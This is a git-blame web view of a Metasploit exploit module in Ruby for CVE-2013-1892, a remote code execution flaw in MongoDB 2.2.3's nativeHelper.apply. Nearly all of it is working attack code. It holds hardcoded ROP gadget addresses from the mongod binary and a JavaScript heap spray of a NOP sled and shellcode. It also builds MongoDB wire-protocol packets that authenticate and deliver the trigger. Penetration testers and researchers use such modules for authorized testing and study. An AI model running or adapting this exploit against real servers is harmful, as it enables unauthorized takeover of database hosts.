Files
metasploit-gs/modules/exploits/linux/misc/mongod_native_helper.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

316 lines
12 KiB
Ruby
Raw Normal View History

2013-03-28 03:10:38 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-28 03:10:38 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-04-01 21:35:34 +02:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
2013-03-28 11:15:13 +01:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',
'Description' => %q{
2016-07-08 16:17:39 -07:00
This module exploits the nativeHelper feature from spiderMonkey which allows
2025-06-20 13:20:44 +01:00
remote code execution by calling it with specially crafted arguments. This module
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
},
'Author' => [
2013-04-01 21:35:34 +02:00
'agix' # @agixid # Vulnerability discovery and Metasploit module
2013-03-28 03:10:38 +01:00
],
2025-06-20 13:20:44 +01:00
'References' => [
2013-03-28 03:10:38 +01:00
[ 'CVE', '2013-1892' ],
[ 'OSVDB', '91632' ],
2013-04-01 21:35:34 +02:00
[ 'BID', '58695' ],
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
2013-03-28 03:10:38 +01:00
],
2025-06-20 13:20:44 +01:00
'Platform' => 'linux',
'Targets' => [
[
'Linux - mongod 2.2.3 - 32bits',
2013-03-28 11:15:13 +01:00
{
'Arch' => ARCH_X86,
'mmap' => [
2025-06-20 13:20:44 +01:00
0x0816f768, # mmap64@plt # from mongod
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
0x31337000,
0x00002000,
0x00000007,
0x00000031,
0xffffffff,
0x00000000,
0x00000000,
0x0816e4c8, # memcpy@plt # from mongod
0x31337000,
0x31337000,
0x0c0b0000,
0x00002000
2013-03-28 11:15:13 +01:00
],
2025-06-20 13:20:44 +01:00
'ret' => 0x08055a70, # ret # from mongod
2013-04-01 21:35:34 +02:00
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
# These gadgets need to be composed with bytes < 0x80
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
'gadget4' => 0x08055a6c, # pop eax / ret
'gadget5' => 0x08457158 # xchg esp,eax
}
]
2013-03-28 03:10:38 +01:00
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2013-03-24',
'License' => MSF_LICENSE,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
register_options(
[
Opt::RPORT(27017),
2013-03-28 11:15:13 +01:00
OptString.new('DB', [ true, "Database to use", "admin"]),
2013-04-01 21:35:34 +02:00
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
2018-08-09 23:34:03 -05:00
OptString.new('USERNAME', [ true, "Login to use", ""]),
OptString.new('PASSWORD', [ true, "Password to use", ""])
2025-06-20 13:20:44 +01:00
]
)
2013-03-28 03:10:38 +01:00
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def exploit
begin
connect
if require_auth?
print_status("Mongo server #{datastore['RHOST']} use authentication...")
2013-04-01 21:35:34 +02:00
if !datastore['USERNAME'] || !datastore['PASSWORD']
2013-03-28 03:10:38 +01:00
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")
2013-03-28 03:10:38 +01:00
end
2025-06-20 13:20:44 +01:00
if do_login == 0
2013-03-28 03:10:38 +01:00
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoAccess, "Authentication failed")
2013-03-28 03:10:38 +01:00
end
else
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
end
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
collection = datastore['COLLECTION']
2013-03-28 03:10:38 +01:00
else
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
if read_only?(collection)
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
2013-03-28 03:10:38 +01:00
else
print_good("New document created in collection #{collection}")
end
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
print_status("Let's exploit, heap spray could take some time...")
2013-03-28 11:15:13 +01:00
my_target = target
2013-03-28 03:10:38 +01:00
shellcode = Rex::Text.to_unescape(payload.encoded)
2013-03-28 11:15:13 +01:00
mmap = my_target['mmap'].pack("V*")
2013-04-01 21:35:34 +02:00
ret = [my_target['ret']].pack("V*")
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
shellcode_var = "a" + Rex::Text.rand_text_hex(4)
sizechunk_var = "b" + Rex::Text.rand_text_hex(4)
chunk_var = "c" + Rex::Text.rand_text_hex(4)
i_var = "d" + Rex::Text.rand_text_hex(4)
array_var = "e" + Rex::Text.rand_text_hex(4)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
ropchain_var = "f" + Rex::Text.rand_text_hex(4)
chunk2_var = "g" + Rex::Text.rand_text_hex(4)
array2_var = "h" + Rex::Text.rand_text_hex(4)
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
# nopsled + shellcode heapspray
2025-06-20 13:20:44 +01:00
payload_js = shellcode_var + '=unescape("' + shellcode + '");'
payload_js << sizechunk_var + '=0x1000;'
payload_js << chunk_var + '="";'
payload_js << 'for(' + i_var + '=0;' + i_var + '<' + sizechunk_var + ';' + i_var + '++){ ' + chunk_var + '+=unescape("%u9090%u9090"); } '
payload_js << chunk_var + '=' + chunk_var + '.substring(0,(' + sizechunk_var + '-' + shellcode_var + '.length));'
payload_js << array_var + '=new Array();'
payload_js << 'for(' + i_var + '=0;' + i_var + '<25000;' + i_var + '++){ ' + array_var + '[' + i_var + ']=' + chunk_var + '+' + shellcode_var + '; } '
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
# retchain + ropchain heapspray
2025-06-20 13:20:44 +01:00
payload_js << ropchain_var + '=unescape("' + Rex::Text.to_unescape(mmap) + '");'
payload_js << chunk2_var + '="";'
payload_js << 'for(' + i_var + '=0;' + i_var + '<' + sizechunk_var + ';' + i_var + '++){ ' + chunk2_var + '+=unescape("' + Rex::Text.to_unescape(ret) + '"); } '
payload_js << chunk2_var + '=' + chunk2_var + '.substring(0,(' + sizechunk_var + '-' + ropchain_var + '.length));'
payload_js << array2_var + '=new Array();'
payload_js << 'for(' + i_var + '=0;' + i_var + '<25000;' + i_var + '++){ ' + array2_var + '[' + i_var + ']=' + chunk2_var + '+' + ropchain_var + '; } '
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
# Trigger and first ropchain
2025-06-20 13:20:44 +01:00
payload_js << 'nativeHelper.apply({"x" : ' + gadget1 + '}, '
payload_js << '["A"+"' + gadget3 + '"+"' + Rex::Text.rand_text_hex(12) + '"+"' + gadget2 + '"+"' + Rex::Text.rand_text_hex(28) + '"+"' + gadget4 + '"+"\\x20\\x20\\x20\\x20"+"' + gadget5 + '"]);'
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
request_id = Rex::Text.rand_text(4)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
packet = request_id # requestID
packet << "\xff\xff\xff\xff" # responseTo
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" # flags
packet << datastore['DB'] + "." + collection + "\x00" # fullCollectionName (db.collection)
packet << "\x00\x00\x00\x00" # numberToSkip (0)
packet << "\x01\x00\x00\x00" # numberToReturn (1)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
2025-06-20 13:20:44 +01:00
where << [payload_js.length + 4].pack("L")
where << payload_js + "\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
where.insert(0, [where.length + 4].pack("L"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet += where
packet.insert(0, [packet.length + 4].pack("L"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
disconnect
rescue ::Exception => e
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unreachable, "Unable to connect")
2013-03-28 03:10:38 +01:00
end
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def require_auth?
request_id = Rex::Text.rand_text(4)
2025-06-20 13:20:44 +01:00
packet = "\x3f\x00\x00\x00" # messageLength (63)
packet << request_id # requestID
packet << "\xff\xff\xff\xff" # responseTo
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" # flags
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)
packet << "\x00\x00\x00\x00" # numberToSkip (0)
packet << "\x01\x00\x00\x00" # numberToReturn (1)
# query ({"listDatabases"=>1})
2013-03-28 03:10:38 +01:00
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
have_auth_error?(response)
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def read_only?(collection)
request_id = Rex::Text.rand_text(4)
2025-06-20 13:20:44 +01:00
_id = "\x07_id\x00" + Rex::Text.rand_text(12) + "\x02"
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + "\x00"
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + "\x00"
insert = _id + key + [value.length].pack("L") + value + "\x00"
packet = [insert.length + 24 + datastore['DB'].length + 6].pack("L") # messageLength
packet << request_id # requestID
packet << "\xff\xff\xff\xff" # responseTo
packet << "\xd2\x07\x00\x00" # opCode (2002 Insert Document)
packet << "\x00\x00\x00\x00" # flags
packet << datastore['DB'] + "." + collection + "\x00" # fullCollectionName (DB.collection)
packet << [insert.length + 4].pack("L")
2013-03-28 03:10:38 +01:00
packet << insert
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
request_id = Rex::Text.rand_text(4)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
packet = [datastore['DB'].length + 61].pack("L") # messageLength (66)
packet << request_id # requestID
packet << "\xff\xff\xff\xff" # responseTo
packet << "\xd4\x07\x00\x00" # opCode (2004 Query)
packet << "\x00\x00\x00\x00" # flags
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" # numberToSkip (0)
packet << "\xff\xff\xff\xff" # numberToReturn (1)
2013-03-28 03:10:38 +01:00
packet << "\x1b\x00\x00\x00"
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-08-30 16:28:54 -05:00
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-03-28 03:10:38 +01:00
have_auth_error?(response)
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def do_login
2013-04-01 21:35:34 +02:00
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
2013-03-28 03:10:38 +01:00
nonce = get_nonce
status = auth(nonce)
return status
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def auth(nonce)
request_id = Rex::Text.rand_text(4)
2025-06-20 13:20:44 +01:00
packet = request_id # requestID
packet << "\xff\xff\xff\xff" # responseTo
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" # flags
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" # numberToSkip (0)
packet << "\xff\xff\xff\xff" # numberToReturn (1)
# {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
2013-03-28 03:10:38 +01:00
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
2013-04-01 21:35:34 +02:00
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
document << datastore['USERNAME'] + "\x00"
2013-03-28 03:10:38 +01:00
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
document << nonce + "\x00"
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
2013-04-01 21:35:34 +02:00
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
2013-03-28 03:10:38 +01:00
document << "\x00"
2025-06-20 13:20:44 +01:00
# Calculate document length
2013-03-28 03:10:38 +01:00
document.insert(0, [document.length + 4].pack("L"))
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
packet += document
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# Calculate messageLength
packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-03-28 03:10:38 +01:00
if have_auth_error?(response)
print_error("Bad login or DB")
return 0
else
print_good("Successful login on DB #{datastore['db']}")
return 1
end
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def get_nonce
request_id = Rex::Text.rand_text(4)
2025-06-20 13:20:44 +01:00
packet = [datastore['DB'].length + 57].pack("L") # messageLength (57+DB.length)
packet << request_id # requestID
packet << "\xff\xff\xff\xff" # responseTo
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" # flags
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" # numberToSkip (0)
packet << "\x01\x00\x00\x00" # numberToReturn (1)
# query {"getnonce"=>1.0}
2013-03-28 03:10:38 +01:00
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
sock.put(packet)
2013-04-01 21:35:34 +02:00
response = sock.get_once
2013-03-28 03:10:38 +01:00
documents = response[36..1024]
2025-06-20 13:20:44 +01:00
# {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
2013-03-28 03:10:38 +01:00
nonce = documents[15..30]
end
2013-08-30 16:28:54 -05:00
2013-03-28 03:10:38 +01:00
def have_auth_error?(response)
2025-06-20 13:20:44 +01:00
# Response header 36 bytes long
2013-03-28 03:10:38 +01:00
documents = response[36..1024]
2025-06-20 13:20:44 +01:00
# {"errmsg"=>"auth fails", "ok"=>0.0}
# {"errmsg"=>"need to login", "ok"=>0.0}
2013-03-28 03:10:38 +01:00
if documents.include?('errmsg') || documents.include?('unauthorized')
return true
else
return false
end
end
end